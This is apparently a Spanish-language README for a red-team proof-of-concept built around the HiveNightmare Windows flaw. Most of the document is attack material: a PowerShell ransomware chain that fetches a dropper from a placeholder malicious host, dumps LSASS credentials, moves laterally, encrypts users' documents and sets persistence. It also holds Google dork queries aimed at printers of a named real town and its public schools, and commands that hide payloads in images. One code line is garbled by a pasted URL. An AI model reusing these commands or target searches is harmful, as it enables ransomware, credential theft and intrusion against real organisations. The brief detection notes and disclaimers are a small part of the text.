
Malware PoC que utiliza el exploit CVE-2021-36934 (ACL inadecuadas en copias de sombra) mediante un método de red team sin archivos en Windows 10/11 con LOLBins, extrayendo los hives SYSTEM y SAM para obtener hashes NTLM locales.

CVE-2021-36934/HiveNightmare es un proyecto educativo de investigación para equipos rojo/púrpura que simula un marco de ataque de malware sin archivos en Windows 11. Permite emular kill chains de adversarios reales utilizando técnicas de MITRE ATT&CK, con un enfoque en operaciones sigilosas y sin archivos.
Advertencia: Solo para investigación y entrenamiento en laboratorios aislados. No lo utilice en sistemas de producción o no autorizados.
La siguiente simulación de PowerShell demuestra una cadena de ataque típica de ransomware sin archivos utilizando herramientas integradas de Windows (LOLBins):
# Initial Access: Load dropper
IEX(New-Object Net.WebClient).DownloadString("http://malicious.com/dropper.ps1")
# Execution: Decode and load in-memory payload
$bytes = [System.Convert]::FromBase64String("[Base64Payload]")
[System.Reflection.Assembly]:https://raw.githubusercontent.com/p1rat3r00t/why-so-serious-sam/HEAD/:Load($bytes)
# Privilege Escalation
Start-Process powershell -Args "-ExecutionPolicy Bypass -File C:\Temp\elevate.ps1" -Verb RunAs
# Credential Access
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full
# Lateral Movement
wmic /node:targetPC process call create "powershell.exe -File \\share\payload.ps1"
# File Encryption Example
$files = Get-ChildItem -Path "C:\Users\*\Documents" -Include *.docx,*.pdf -Recurse
foreach ($file in $files) {
$data = Get-Content $file.FullName -Raw
$aes = New-Object System.Security.Cryptography.AesManaged
$aes.Key = [Text.Encoding]::UTF8.GetBytes("RANDOM-GEN-KEY-1234567890123456")
$aes.IV = New-Object byte[] 16
$enc = $aes.CreateEncryptor().TransformFinalBlock([Text.Encoding]::UTF8.GetBytes($data), 0, $data.Length)
Set-Content -Path $file.FullName -Value ([Convert]::ToBase64String($enc))
}
# Persistence
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "ransomware" -Value "powershell -File C:\Temp\persist.ps1"
Objetivo de ejemplo: Identificar servicios de impresión expuestos públicamente en Moberly, Misuri, potencialmente vulnerables a exploits como PrintNightmare.
Consultas de muestra con Google Dorks:
inurl:"/hp/device/this.LCDispatcher" "Moberly"
intitle:"Printer Status" "Moberly Public Schools"
intitle:"Web Image Monitor" inurl:"/wim" "Moberly"
inurl:"/printer/main.html" "City of Moberly"
intitle:"Web Jetadmin" "Moberly"
inurl:"/printers/" "Moberly"
inurl:"/PPS/public/" "Moberly"
intitle:"Konica Minolta" inurl:"/wcd/" "Moberly"
intitle:"PaperCut MF" "Moberly"
intitle:"Lexmark" inurl:"/printer/" "Moberly"
intitle:"Canon Remote UI" "Moberly"
intitle:"EpsonNet Config" "Moberly"
Los binarios Living Off the Land (LOLBins) son binarios legítimos y confiables de Windows que los adversarios suelen abusar para evadir controles de seguridad y ejecutar código malicioso sin archivos.
Ejemplo de uso (ataque al servicio de impresión):
rundll32.exe \\10.10.X.X\shared\payload.dll,ReflectEntry
Los atacantes utilizan LOLBins como
rundll32.exe,regsvr32.exeypowershell.exepara ejecutar payloads desde recursos compartidos de red, a menudo después de identificar impresoras o servidores expuestos mediante reconocimiento.
Objetivo: Entregar payloads de forma encubierta incrustando archivos dentro de imágenes y extrayéndolos con herramientas nativas.
Pasos:
Incrustar el payload:
copy /b nsfw.jpg + payload.7z nsfw.jpg
Extraer y decodificar:
certutil -decode nsfw.jpg dropper.7z
7z x dropper.7z -oC:\Users\Public\
Este método evita el filtrado tradicional de extensiones de archivo y aprovecha las herramientas integradas para una entrega evasiva.
Técnica: Cargar y ejecutar una DLL maliciosa directamente en memoria mediante carga reflectante.
Ejemplo:
rundll32.exe \\10.10.X.X\share\nsfw.dll,ReflectEntry
Esto permite una ejecución sigilosa en memoria sin dejar artefactos en el disco.
Sysmon + reglas Sigma:
rundll32.exe cargando DLLs que no son del sistemacertutil.exe, regsvr32.exe, mshta.exeEjemplos SIEM (ELK/Splunk):
explorer.exe lanzando rundll32.exe)Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
Todo el contenido, código y técnicas de este repositorio son solo para fines educativos y de pruebas de penetración autorizadas. No utilice ninguna parte de este proyecto fuera de entornos controlados y aislados y sin permiso explícito. Los autores no asumen ninguna responsabilidad por el mal uso.
Manténgase seguro, investigue de manera responsable y úselo siempre de forma legal y ética.
| Fase | Técnica | ID | Descripción |
|---|
| Acceso Inicial | Valid Accounts / Drive-by Compromise | T1078, T1189 | Compromiso de interfaces de impresión expuestas al público |
| Ejecución | DLL Side-Loading / LOLBins | T1218, T1055.001 | Ejecución de DLLs reflectivamente mediante binarios confiables |
| Escalada de Privilegios | Print Spooler Exploits / Hive ACL Abuse | T1068, T1003.002 | Acceso a nivel de SYSTEM y extracción de hashes SAM |
| Evasión de Defensas | Fileless Execution / Obfuscated Files | T1027, T1202 | Payloads codificados entregados mediante certutil, mshta, etc. |
| Acceso a Credenciales | LSASS Dumping / SAM Hive Access | T1003 | Volcado de credenciales tras HiveNightmare |
| Movimiento Lateral | SMB/Net Share Enumeration | T1021.002 | Propagación mediante recursos compartidos de impresora o enumeración del spooler |
| Impacto | Data Destruction / Encryption | T1485, T1486 | Wiperware sin archivos activado mediante payloads DLL |